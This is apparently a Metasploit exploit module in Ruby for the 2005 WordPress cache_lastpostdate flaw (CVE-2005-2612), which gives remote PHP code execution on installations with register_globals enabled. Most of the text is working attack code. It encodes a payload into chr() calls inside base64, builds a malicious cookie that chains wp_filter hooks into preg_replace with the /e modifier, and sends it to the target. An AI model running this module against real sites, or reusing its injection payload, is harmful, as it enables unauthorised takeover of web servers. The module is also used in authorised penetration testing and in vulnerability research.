WordPress cache_lastpostdate Arbitrary Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',  
'Description' => %q{  
This module exploits an arbitrary PHP code execution flaw in the WordPress  
blogging software. This vulnerability is only present when the PHP 'register_globals'  
option is enabled (common for hosting providers). All versions of WordPress prior to  
1.5.1.3 are affected.  
},  
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2005-2612'],  
['OSVDB', '18672'],  
['BID', '14533'],  
['WPVDB', '6034']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'ConnectionType' => 'find'  
},  
'Space' => 512  
},  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Aug 9 2005',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),  
], self.class)  
end  
  
def exploit  
  
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"  
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')  
data =  
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+  
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+  
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+  
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+  
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+  
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"  
  
# Trigger the command execution bug  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['URI']),  
'cookie' => data  
}, 25)  
  
if (res)  
print_status("The server returned: #{res.code} #{res.message}")  
else  
print_status("No response from the server")  
end  
end  
  
end  
`